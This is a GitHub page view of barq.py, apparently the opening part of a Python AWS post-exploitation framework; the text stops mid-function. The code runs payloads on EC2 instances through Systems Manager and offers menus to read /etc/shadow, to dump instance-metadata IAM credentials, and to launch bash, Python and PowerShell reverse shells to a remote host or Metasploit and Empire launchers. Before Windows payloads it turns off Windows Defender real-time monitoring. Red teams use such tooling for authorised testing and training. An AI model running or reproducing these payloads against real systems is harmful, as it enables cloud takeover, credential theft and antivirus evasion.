-
Notifications
You must be signed in to change notification settings - Fork 64
/
barq.py
2147 lines (1960 loc) · 97.2 KB
/
barq.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import boto3
import json
from clint.arguments import Args
from clint.textui import puts, colored, indent, prompt, validators
import time
from prettytable import PrettyTable
import string
import os
import random
import subprocess
import readline
import sys
import signal
import re
from threading import Event, Thread
import logging
from getpass import getpass
from pygments import highlight
from pygments.lexers.data import JsonLexer
from pygments.formatters.terminal import TerminalFormatter
# signing commit again
PY2 = sys.version_info[0] == 2
PY3 = sys.version_info[0] == 3
if PY3:
string_types = str,
raw_input = input
else:
string_types = basestring,
def id_generator(size=10, chars=string.ascii_uppercase + string.digits):
return ''.join(random.choice(chars) for _ in range(size))
def set_session_region(region):
global my_aws_creds
mysession = None
try:
if my_aws_creds['aws_session_token'] == '':
mysession = boto3.session.Session(
aws_access_key_id=my_aws_creds['aws_access_key_id'], aws_secret_access_key=my_aws_creds['aws_secret_access_key'], region_name=region)
else:
mysession = boto3.session.Session(aws_access_key_id=my_aws_creds['aws_access_key_id'], aws_secret_access_key=my_aws_creds[
'aws_secret_access_key'], region_name=region, aws_session_token=my_aws_creds['aws_session_token'])
return mysession
except:
return None
def color(string, color=None):
"""
Change text color for the Linux terminal. (Taken from Empire: https://github.com/EmpireProject/Empire/blob/master/lib/common/helpers.py)
"""
attr = []
# bold
attr.append('1')
if color:
if color.lower() == "red":
attr.append('31')
elif color.lower() == "green":
attr.append('32')
elif color.lower() == "yellow":
attr.append('33')
elif color.lower() == "blue":
attr.append('34')
return '\x1b[%sm%s\x1b[0m' % (';'.join(attr), string)
else:
if string.strip().startswith("[!]"):
attr.append('31')
return '\x1b[%sm%s\x1b[0m' % (';'.join(attr), string)
elif string.strip().startswith("[+]"):
attr.append('32')
return '\x1b[%sm%s\x1b[0m' % (';'.join(attr), string)
elif string.strip().startswith("[..]"):
attr.append('33')
return '\x1b[%sm%s\x1b[0m' % (';'.join(attr), string)
elif string.strip().startswith("[*]"):
attr.append('34')
return '\x1b[%sm%s\x1b[0m' % (';'.join(attr), string)
else:
return string
def start():
"""
The start of the barq functionality.
:return: None
"""
signal.signal(signal.SIGINT, signal.default_int_handler)
args = Args()
puts(color(asciilogo, 'yellow'))
puts(color("barq: The AWS post exploitation framework written by Mohammed Aldoub @Voulnet", "green"))
global loot_creds
global ec2instances
global menu_stack
global my_aws_creds
global secgroups
global command_invocations
global lambdafunctions
menu_stack = []
loot_creds = {'secrets': [], 'tokens': [], 'parameters': []}
ec2instances = {'instances': []}
lambdafunctions = {'functions': []}
secgroups = {'groups': []}
my_aws_creds = {}
command_invocations = {'commands': []}
global logger
logger = logging.getLogger('log')
logger.setLevel(logging.ERROR)
logpath = 'log.log'
ch = logging.FileHandler(logpath)
ch.setFormatter(logging.Formatter('%(asctime)s: %(message)s'))
logger.addHandler(ch)
logger.error('calling start')
myargs = dict(args.grouped)
if '--help' in myargs or '-h' in myargs:
help = """
barq framework options:
-h --help - This menu
-k --keyid - The AWS access key id
-s --secretkey - The AWS secret access key. (Needs --keyid, mandatory)
-r --region - The default region to use. (Needs --keyid)
-t --token - The AWS session token to use. (Needs --keyid, optional)
"""
print(help)
exit(0)
if '--keyid' in myargs or '-k' in myargs:
try:
aws_access_key_id = myargs['--keyid'][0]
except:
aws_access_key_id = myargs['-k'][0]
if '--secretkey' not in myargs and '-s' not in myargs:
puts(color("[!] using --secretkey is mandatory with --keyid"))
exit()
try:
aws_secret_access_key = myargs['--secretkey'][0]
except:
aws_secret_access_key = myargs['-s'][0]
if '--region' not in myargs and '-r' not in myargs:
puts(color("[!] using --region is mandatory with --keyid"))
exit()
try:
region_name = myargs['--region'][0]
except:
region_name = myargs['-r'][0]
if '--token' in myargs or '-t' in myargs:
try:
aws_session_token = myargs['--token'][0]
except:
aws_session_token = myargs['-t'][0]
else:
aws_session_token = ''
set_aws_creds_inline(
aws_access_key_id, aws_secret_access_key, region_name, aws_session_token)
menu_forward('main')
def menu_forward(menu):
"""
Go forward to a new menu (Push to menu stack)
:param menu: The menu to go to
:return: None
"""
global menu_stack
global logger
if menu == 'training':
menu_stack.append(menu)
training_loop()
elif menu == 'ec2instances':
menu_stack.append(menu)
instances_loop()
else:
logger.error('calling menu forward for main')
menu_stack.append('main')
main_loop()
def menu_backward():
"""
Go back to previous menu (Pull from menu stack)
:return: None
"""
global menu_stack
try:
current_menu = menu_stack.pop()
next_menu = menu_stack[-1]
if next_menu == 'main':
go_to_menu(next_menu)
elif next_menu == 'training':
go_to_menu(next_menu)
elif next_menu == 'ec2instances':
go_to_menu(next_menu)
except Exception as e:
print(e)
pass
def go_to_menu(menu):
"""
Go to a menu directly, bypassing the stack. This is used for functionality that involves interaction under a particular menu,
and therefore does not add a menu to the stack.
:param menu: menu to go to directly.
:return: None
"""
if menu == 'main':
main_loop()
elif menu == 'training':
training_loop()
elif menu == 'ec2instances':
instances_loop()
def handle_menu():
"""
Pop the top menu from the stack and go to it.
:return: None
"""
global menu_stack
try:
current_menu = menu_stack.pop()
if current_menu == 'main':
main_loop()
elif current_menu == 'ec2instances':
instances_loop()
elif current_menu == 'training':
training_loop()
else:
main_loop()
except Exception as e:
print(e)
main_loop()
def training_loop():
"""
The menu handler loop for the training menu. Reads commands and send them to the processor, otherwise shows the menu prompt.
:return: None
"""
try:
command = ''
while command == '':
try:
readline.set_completer_delims(' \t\n;')
readline.parse_and_bind("tab: complete")
readline.set_completer(trainingcomplete)
command = raw_input(
'barq ' + color('training', 'yellow') + ' > ')
except Exception as e:
print(e)
#command = prompt.query('aws sheller training > ', validators=[])
command = str(command)
process_training_command(command)
except KeyboardInterrupt as k:
print("CTRL C clicked in training")
menu_backward()
def disable_windows_defender():
"""
The powershell command to disable windows defender.
:return: Returns the powershell command to disable win defender.
"""
return "Set-MpPreference -DisableRealtimeMonitoring $true"
def enable_windows_defender():
"""
Enable Windows Defender Powershell command.
:return: Returns the powershell command to enable win defender again.
"""
return "Set-MpPreference -DisableRealtimeMonitoring $false"
def wait_for_command_invocation(ssmclient, commandid, instanceid):
"""
:param ssmclient: The ssm (Systems manager) client associated with the required region and account.
:param commandid: The id of the command to check invocation results for.
:param instanceid: The id of the instance on which the command was run.
:return: Returns a tuple of success state and AWS response json in full.
"""
time.sleep(10)
result = ssmclient.get_command_invocation(
CommandId=commandid, InstanceId=instanceid)
puts(color('[..] Waiting for command to return.... This will take some time'))
while result['Status'] in {'InProgress', 'Pending', 'Waiting'}:
time.sleep(10)
result = ssmclient.get_command_invocation(
CommandId=commandid, InstanceId=instanceid)
if result['Status'] in {'Failed', 'TimedOut', 'Cancelling', 'Cancelled'}:
puts(color('[!] ERROR: %s' % result['StandardErrorContent']))
return False, result
puts(color('[*] Status of the command is: %s' % result['Status']))
if result['Status'] == 'Success':
puts(color('[+] Success! The command executed successfully. Output is:'))
puts(color(result['StandardOutputContent'], 'blue'))
return True, result
def wait_for_threaded_command_invocation(commandid, instanceid, region):
"""
A thread-ready function to wait for invocation for a command on an instance.
TODO: Make it thread-safe by using locks on the global variables.
:param commandid: The command that was run
:param instanceid: The instance on which the command was run.
:param region: The region for Systems Manager
:return: Returns a tuple of success state and AWS response json in full.
"""
global my_aws_creds
logger = logging.getLogger('log')
logger.error('inside wait_for_threaded_command_invocation for %s and commandid: %s' % (
instanceid, commandid))
mysession = boto3.session.Session(aws_access_key_id=my_aws_creds['aws_access_key_id'],
aws_secret_access_key=my_aws_creds['aws_secret_access_key'],
region_name=region,
aws_session_token=my_aws_creds['aws_session_token'])
ssmclient = mysession.client('ssm', region_name=region)
time.sleep(10)
logger.error('inside wait_for_threaded_command_invocation for %s and commandid: %s, before get_command_invocation a' % (
instanceid, commandid))
result = ssmclient.get_command_invocation(
CommandId=commandid, InstanceId=instanceid)
logger.error(
'inside wait_for_threaded_command_invocation for %s and commandid: %s, after get_command_invocation a, status: %s' % (
instanceid, commandid, result['Status']))
while result['Status'] in {'InProgress', 'Pending', 'Waiting'}:
time.sleep(10)
result = ssmclient.get_command_invocation(
CommandId=commandid, InstanceId=instanceid)
if result['Status'] in {'Failed', 'TimedOut', 'Cancelling', 'Cancelled'}:
logger.error(
'failure in wait_for_threaded_command_invocation for %s and commandid: %s, after get_command_invocation b, status: %s' % (
instanceid, commandid, result['Status']))
return False, result
if result['Status'] == 'Success':
logger.error(
'success in wait_for_threaded_command_invocation for %s and commandid: %s, after get_command_invocation b, status: %s' % (
instanceid, commandid, result['Status']))
return True, result
def run_linux_command(ssmclient, instanceid, action, payload):
"""
Run a Systems Manager command on a running Linux instance.
:param ssmclient: Systems Manager client for the required region.
:param instanceid: id of target instance
:param action: Action to be run (AWS calls it DocumentName, here it's running a bash script)
:param payload: The actual payload to be executed on the target instance.
:return: returns status of execution.
"""
response = ssmclient.send_command(InstanceIds=[instanceid, ], DocumentName=action,
DocumentVersion='$DEFAULT', TimeoutSeconds=3600, Parameters={'commands': [payload]})
commandid = response['Command']['CommandId']
success, result = wait_for_command_invocation(
ssmclient, commandid, instanceid)
return success
def run_threaded_linux_command(mysession, target, action, payload):
"""
Thread-enabled function to run a Systems Manager command on a running Linux instance.
TODO: Make it thread-safe by using locks on global variables.
:param mysession: The established boto3 session for the target region
:param target: Target EC2 instance
:param action: Action to be run (AWS calls it DocumentName, here it's running a bash script)
:param payload: The actual payload to be executed on the target instance.
:return: None
"""
global my_aws_creds
global command_invocations
logger = logging.getLogger('log')
logger.error('inside run_threaded_linux_command for %s' % target['id'])
commandid = ''
result = {}
instanceid = target['id']
last_error = ''
try:
mysession = boto3.session.Session(aws_access_key_id=my_aws_creds['aws_access_key_id'],
aws_secret_access_key=my_aws_creds[
'aws_secret_access_key'], region_name=target['region'],
aws_session_token=my_aws_creds['aws_session_token'])
ssmclient = mysession.client('ssm', region_name=target['region'])
response = ssmclient.send_command(InstanceIds=[
instanceid, ], DocumentName=action, DocumentVersion='$DEFAULT', TimeoutSeconds=3600, Parameters={'commands': [payload]})
commandid = response['Command']['CommandId']
logger.error('calling run_threaded_linux_command for %s and command: %s' % (
target['id'], commandid))
command = {'id': commandid}
command['instanceid'] = instanceid
command['state'] = 'requested'
command['platform'] = 'linux'
command['region'] = target['region']
command_invocations['commands'].append(command)
time.sleep(10)
result = ssmclient.get_command_invocation(
CommandId=commandid, InstanceId=instanceid)
except Exception as e:
logger.error(e)
last_error = str(e)
pass
logger.error('calling run_threaded_linux_command for %s and command: %s ' % (
target['id'], commandid))
if 'Status' not in result:
logger.error('run_threaded_linux_command for %s and command: %s failed with error: %s' % (
target['id'], commandid, last_error))
return
while result['Status'] in {'InProgress', 'Pending', 'Waiting'}:
time.sleep(10)
result = ssmclient.get_command_invocation(
CommandId=commandid, InstanceId=instanceid)
if result['Status'] in {'Failed', 'TimedOut', 'Cancelling', 'Cancelled'}:
for index, commandx in enumerate(command_invocations['commands']):
if commandx['id'] == commandid:
logger.error('run_threaded_linux_command for %s and command: %s failed with error: %s' % (
target['id'], commandid, result['StandardErrorContent']))
commandx['state'] = 'failed'
commandx['error'] = result['StandardErrorContent']
command_invocations['commands'][index] = commandx
return False
if result['Status'] == 'Success':
for index, commandx in enumerate(command_invocations['commands']):
if commandx['id'] == commandid:
logger.error('run_threaded_linux_command for %s and command: %s succeeded with output: %s' % (
target['id'], commandid, result['StandardOutputContent']))
commandx['state'] = 'success'
commandx['output'] = result['StandardOutputContent']
command_invocations['commands'][index] = commandx
def run_threaded_windows_command(mysession, target, action, payload, disableav):
"""
Thread-enabled function to run a Systems Manager command on a running Windows instance.
It actually calls three commands: Disable windows defender, run the payload, then enable Windows Defender.
TODO: Make it thread-safe by using locks on global variables.
:param mysession: The established boto3 session for the target region
:param target: Target EC2 instance
:param action: Action to be run (AWS calls it DocumentName, here it's running a powershell script)
:param payload: The actual payload to be executed on the target instance.
:return: None
"""
global my_aws_creds
global command_invocations
logger = logging.getLogger('log')
response = {}
commandid = ''
logger.error("inside run_threaded_windows_command for %s" % target['id'])
mysession = boto3.session.Session(aws_access_key_id=my_aws_creds['aws_access_key_id'],
aws_secret_access_key=my_aws_creds['aws_secret_access_key'],
region_name=target['region'],
aws_session_token=my_aws_creds['aws_session_token'])
logger.error("inside run_threaded_windows_command for %s, before line: %s" % (
target['id'], 'ssmclient'))
ssmclient = mysession.client('ssm', region_name=target['region'])
instanceid = target['id']
# stage1 disable windows defender.
if disableav:
logger.error("inside run_threaded_windows_command for %s, before line: %s" % (
target['id'], 'disable_windows_defender'))
try:
response = ssmclient.send_command(InstanceIds=[instanceid, ], DocumentName=action, DocumentVersion='$DEFAULT', TimeoutSeconds=3600, Parameters={
'commands': [disable_windows_defender()]})
commandid = response['Command']['CommandId']
except Exception as e:
logger.error(e)
return False
#############
time.sleep(10)
logger.error("inside run_threaded_windows_command for %s, before line: %s" % (
target['id'], 'get_command_invocation 1'))
try:
result = ssmclient.get_command_invocation(
CommandId=commandid, InstanceId=instanceid)
except:
pass
#############
success, result = wait_for_threaded_command_invocation(
commandid, instanceid, target['region'])
logger.error("inside run_threaded_windows_command for %s, after line: %s" % (
target['id'], 'wait_for_threaded_command_invocation 1'))
logger.error("success equals: %s" % success)
if not success:
logger.error('aborting commands for id %s' % target['id'])
return False
# stage2 run payload
time.sleep(3)
logger.error(
"inside run_threaded_windows_command for %s, before line: %s" % (target['id'], 'windows payload'))
try:
response = ssmclient.send_command(InstanceIds=[
instanceid, ], DocumentName=action, DocumentVersion='$DEFAULT', TimeoutSeconds=3600, Parameters={'commands': [payload]})
except Exception as e:
logger.error("inside run_threaded_windows_command for instance %s, returning error: %s" % (
target['id'], str(e)))
return False
commandid = response['Command']['CommandId']
#################
command = {'id': commandid}
command['instanceid'] = instanceid
command['state'] = 'requested'
command['platform'] = 'windows'
command['region'] = target['region']
command_invocations['commands'].append(command)
time.sleep(10)
logger.error("inside run_threaded_windows_command for %s, before line: %s" % (
target['id'], 'get_command_invocation 2'))
try:
result = ssmclient.get_command_invocation(
CommandId=commandid, InstanceId=instanceid)
except:
pass
while result['Status'] in {'InProgress', 'Pending', 'Waiting'}:
time.sleep(10)
result = ssmclient.get_command_invocation(
CommandId=commandid, InstanceId=instanceid)
if result['Status'] in {'Failed', 'TimedOut', 'Cancelling', 'Cancelled'}:
logger.error("failure running payload in run_threaded_windows_command for %s, commandid: %s" % (
target['id'], commandid))
for index, commandx in enumerate(command_invocations['commands']):
if commandx['id'] == commandid:
commandx['state'] = 'failed'
commandx['error'] = result['StandardErrorContent']
command_invocations['commands'][index] = commandx
success = False
break
if result['Status'] == 'Success':
logger.error(
"success running payload in run_threaded_windows_command for %s. commandid: %s" % (target['id'], commandid))
for index, commandx in enumerate(command_invocations['commands']):
if commandx['id'] == commandid:
commandx['state'] = 'success'
commandx['output'] = result['StandardOutputContent']
command_invocations['commands'][index] = commandx
success = True
break
#################
if not success:
logger.error(
"inside run_threaded_windows_command for %s, failed in running payload" % (target['id']))
# stage3 enable windows defender.
if disableav:
time.sleep(30)
logger.error(
"inside run_threaded_windows_command for %s, before enable_windows_defender" % (target['id']))
response = ssmclient.send_command(InstanceIds=[instanceid, ], DocumentName=action, DocumentVersion='$DEFAULT', TimeoutSeconds=3600, Parameters={
'commands': [enable_windows_defender()]})
commandid = response['Command']['CommandId']
success, result = wait_for_threaded_command_invocation(
commandid, instanceid, target['region'])
logger.error("inside run_threaded_windows_command for %s, after enable_windows_defender, success: %s" % (
target['id'], success))
if not success:
return False
return True
def run_windows_command(ssmclient, instanceid, action, payload, disableav):
"""
Run a Systems Manager command on a running Windows instance.
It actually calls three commands: Disable windows defender, run the payload, then enable Windows Defender.
:param ssmclient: The Systems Manager client for the target region
:param instanceid: Target EC2 instance id
:param action: Action to be run (AWS calls it DocumentName, here it's running a powershell script)
:param payload: The actual payload to be executed on the target instance.
:return: status of execution
"""
time.sleep(3)
# stage1 disable windows defender.
if disableav:
puts(color('[..] Disabling Windows Defender momentarily...'))
response = ssmclient.send_command(InstanceIds=[instanceid, ], DocumentName=action, DocumentVersion='$DEFAULT', TimeoutSeconds=3600, Parameters={
'commands': [disable_windows_defender()]})
commandid = response['Command']['CommandId']
success, result = wait_for_command_invocation(
ssmclient, commandid, instanceid)
if not success:
puts(color(
'[!] Could not disable Windows Defender... Stopping command invocation...'))
return False
# stage2 run payload
puts(color('[..] Running payload...'))
time.sleep(3)
response = ssmclient.send_command(InstanceIds=[instanceid, ], DocumentName=action,
DocumentVersion='$DEFAULT', TimeoutSeconds=3600, Parameters={'commands': [payload]})
commandid = response['Command']['CommandId']
success, result = wait_for_command_invocation(
ssmclient, commandid, instanceid)
if not success:
puts(color('[!] Could not run payload... Stopping command invocation...'))
return False
# stage3 enable windows defender.
if disableav:
time.sleep(30)
puts(color('[..] Enabling Windows Defender again....'))
response = ssmclient.send_command(InstanceIds=[instanceid, ], DocumentName=action, DocumentVersion='$DEFAULT', TimeoutSeconds=3600, Parameters={
'commands': [enable_windows_defender()]})
commandid = response['Command']['CommandId']
success, result = wait_for_command_invocation(
ssmclient, commandid, instanceid)
if not success:
puts(
color('[!] Could not enable Windows Defender... Stopping command invocation...'))
return False
return True
PRINT_EC2_METADATA_CMD = "python -c \"import requests, json; b = 'http://169.254.169.254/latest/';m='meta-data/';roleid = requests.get(b+m+'iam/security-credentials/').text; print '{RoleID: %s,'%roleid;print 'Credentials: %s,'%(requests.get(b+m+'iam/security-credentials/%s'%roleid).text); print 'AMIID: %s,'%(requests.get(b+m+'ami-id').text); print 'PublicIP: %s,'%(requests.get(b+m+'public-ipv4').text); print 'PublicHostname:%s,'%(requests.get(b+m+'public-hostname').text); print 'InstanceIdentityDocument: %s,'%(requests.get(b+'dynamic/instance-identity/document').text);print 'UserData:%s}'%(requests.get(b+'user-data/').text);\""
PRINT_EC2_METADATA_PSH = "$b = 'http://169.254.169.254/latest/';$m='meta-data/';$roleid = (Invoke-WebRequest -UseBasicParsing -Uri ($b+$m+'iam/security-credentials/')).Content;echo ('--->Role ID: '+$roleid);echo ('--->Credentials: '+($instanceId = Invoke-WebRequest -UseBasicParsing -Uri ($b+$m+'iam/security-credentials/'+$roleid)).Content);echo ('--->AMI-ID: '+($instanceId = Invoke-WebRequest -UseBasicParsing -Uri ($b+$m+'ami-id')).Content);echo ('--->Public IP: '+($instanceId = Invoke-WebRequest -UseBasicParsing -Uri ($b+$m+'public-ipv4')).Content);echo ('--->Public Hostname: '+($instanceId = Invoke-WebRequest -UseBasicParsing -Uri ($b+$m+'public-hostname')).Content);echo ('--->Instance Identity Document: '+($instanceId = Invoke-WebRequest -UseBasicParsing -Uri ($b+'dynamic/instance-identity/document')).Content);echo ('--->UserData: '+($instanceId = Invoke-WebRequest -UseBasicParsing -Uri ($b+'user-data/')));"
def choose_training_ami():
"""
Choose the AMI name for the training mode based on the OS choice.
:return: Tuple of OS and AMI name.
"""
puts(color('[*] Choose your EC2 OS:'))
ami_options = [{'selector': '1', 'prompt': 'Linux', 'return': 'linux'},
{'selector': '2', 'prompt': 'Windows', 'return': 'windows'}]
ami = prompt.options('Options:', ami_options)
if ami == 'windows':
return "windows", 'Windows_Server-2019-English-Full-Base-2019.01.10'
return "linux", 'amzn2-ami-hvm-2.0.20190115-x86_64-gp2'
def shellscript_options(OS):
"""
Prompts command options against an EC2 instance, depending on target OS.
:param OS: Target instance OS.
:return: Tuple of payload and action (AWS SSM DocumentName)
"""
disableav = False
puts(color('[*] Choose your payload:'))
if OS == 'linux':
payload_options = [{'selector': '1', 'prompt': 'cat /etc/passwd', 'return': 'cat /etc/passwd'},
{'selector': '2', 'prompt': 'cat /ect/shadow',
'return': 'cat /etc/shadow'},
{'selector': '3', 'prompt': 'uname -a',
'return': 'uname -a'},
{'selector': '4', 'prompt': 'reverse shell to external host',
'return': 'reverseshell'},
{'selector': '5', 'prompt': 'whoami', 'return': 'whoami'},
{'selector': '6', 'prompt': 'metasploit', 'return': 'msf'},
{'selector': '7',
'prompt': 'print EC2 metadata and userdata (custom init script)', 'return': PRINT_EC2_METADATA_CMD},
{'selector': '8', 'prompt': 'Visit a URL from inside EC2 instance', 'return': 'URL'}]
action = 'AWS-RunShellScript'
else:
payload_options = [{'selector': '1', 'prompt': 'ipconfig', 'return': 'ipconfig'},
{'selector': '2', 'prompt': 'reverse shell to external host',
'return': 'reverseshell'},
{'selector': '3', 'prompt': 'whoami', 'return': 'whoami'},
{'selector': '4', 'prompt': 'metasploit', 'return': 'msf'},
{'selector': '5',
'prompt': 'print EC2 metadata and userdata (custom init script)', 'return': PRINT_EC2_METADATA_PSH},
{'selector': '6', 'prompt': 'Visit a URL from inside EC2 instance', 'return': 'URL'}]
action = 'AWS-RunPowerShellScript'
payload = prompt.options('Payload:', payload_options)
remote_ip_host = ''
remote_port = ''
if payload == "reverseshell" or payload == "msf":
puts(color(
'[*] You chose %s option. First provide your remote IP and port to explore shell options.' % payload))
remote_ip_host = prompt.query(
'Your remote IP or hostname to connect back to:')
remote_port = prompt.query("Your remote port number:", default="4444")
if payload == "reverseshell":
payload, action = reverseshell_options(
remote_ip_host, remote_port, OS)
elif payload == "msf":
payload, action = metasploit_installed_options(
remote_ip_host, remote_port, OS)
disableav = True
elif payload == 'URL':
puts(color('[*] Choose the URL to visit from inside the EC2 instance:'))
URL = prompt.query('URL: ', default="http://169.254.169.254/latest/")
if OS == 'linux':
payload = "python -c \"import requests; print requests.get('%s').text;\"" % URL
else:
payload = "echo (Invoke-WebRequest -UseBasicParsing -Uri ('%s')).Content;" % URL
return payload, action, disableav
def reverseshell_options(host, port, OS):
"""
Prompts for reverse shell options against an EC2 instance depending on its OS.
:param host: The listening server's IP or hostname
:param port: Port to listen on for shells.
:param OS: OS of that target instance.
:return: Tuple of reverse shell payload and action (AWS SSM DocumentName)
"""
puts(color('[*] Choose your reverse shell type:'))
bash_shell = "bash -i >& /dev/tcp/%s/%s 0>&1" % (host, port)
python_shell = "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"%s\",%s));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'" % (
host, port)
powershell_shell = "$client = New-Object System.Net.Sockets.TCPClient(\"%s\",%s);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + \"PS \" + (pwd).Path + \"> \";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()" % (
host, port)
if OS == "linux":
action = "AWS-RunShellScript"
shell_options = [{'selector': '1', 'prompt': 'Bash reverse shell', 'return': bash_shell},
{'selector': '2', 'prompt': 'Python reverse shell',
'return': python_shell},
{'selector': '3', 'prompt': 'Empire Python Launcher', 'return': 'empirepython'}]
else:
action = "AWS-RunPowerShellScript"
shell_options = [{'selector': '1', 'prompt': 'Powershell reverse shell', 'return': powershell_shell},
{'selector': '2', 'prompt': 'Empire Powershell Launcher', 'return': 'empirepowershell'}]
reverseshell = prompt.options('Payload:', shell_options)
if reverseshell == 'empirepowershell' or reverseshell == 'empirepython':
puts(
color('[*] Generate your Empire launcher code in empire and paste it here:'))
reverseshell = raw_input('Paste here:')
return reverseshell, action
def reverseshell_multiple_options(linux, windows):
"""
Prompts for reverse shell options against a range of EC2 instances depending on their OS.
:param linux: Whether or not there are any targeted instances running Linux.
:param windows: Whether or not there are any targeted instances running Windows.
:return: Tuple of reverse shell payloads for linux and windows.
"""
puts(color('[*] Choose your reverse shell type:'))
puts(color('[*] Make sure your listening server can handle multiple simultaneous reverse shell connections:'))
linuxattack = ''
windowsattack = ''
if linux:
linux_options = [{'selector': '1', 'prompt': 'Bash reverse shell', 'return': 'bash'},
{'selector': '2', 'prompt': 'Python reverse shell',
'return': 'python'},
{'selector': '3', 'prompt': 'Empire Python Launcher', 'return': 'empirepython'}]
linuxattack = prompt.options(
'Payload for Linux EC2 instances:', linux_options)
if linuxattack == 'empirepython':
puts(color(
'[*] Generate your Empire python launcher code in empire and paste it here:'))
linuxattack = raw_input('Paste here:')
else:
host = prompt.query(
'Your remote IP or hostname to connect back to:')
port = prompt.query("Your remote port number:", default="4444")
if linuxattack == 'bash':
linuxattack = "bash -i >& /dev/tcp/%s/%s 0>&1" % (host, port)
elif linuxattack == 'python':
linuxattack = "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"%s\",%s));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'" % (
host, port)
if windows:
windows_options = [{'selector': '1', 'prompt': 'Powershell reverse shell', 'return': 'powershell'},
{'selector': '2', 'prompt': 'Empire Powershell Launcher', 'return': 'empirepowershell'}]
windowsattack = prompt.options(
'Payload for Windows EC2 instances:', windows_options)
if windowsattack == 'empirepowershell':
puts(color(
'[*] Generate your Empire powershell launcher code in empire and paste it here:'))
windowsattack = raw_input('Paste here:')
else:
host = prompt.query(
'Your remote IP or hostname to connect back to:')
port = prompt.query("Your remote port number:", default="5555")
if windowsattack == 'powershell':
